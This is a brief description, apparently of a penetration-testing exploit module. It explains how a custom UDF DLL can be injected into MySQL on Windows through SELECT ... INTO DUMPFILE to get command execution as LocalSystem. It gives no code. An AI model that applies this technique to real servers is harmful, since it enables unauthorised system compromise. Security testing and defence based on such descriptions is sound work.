|
This module creates and enables a custom UDF (user defined function) on the
|
|
target host via the SELECT ... into DUMPFILE method of binary injection. On
|
|
default Microsoft Windows installations of MySQL (=< 5.5.9), directory write
|
|
permissions not enforced, and the MySQL service runs as LocalSystem.
|
|
|
|
NOTE: This module will leave a payload executable on the target system when the
|
|
attack is finished, as well as the UDF DLL, and will define or redefine sys_eval()
|
|
and sys_exec() functions.
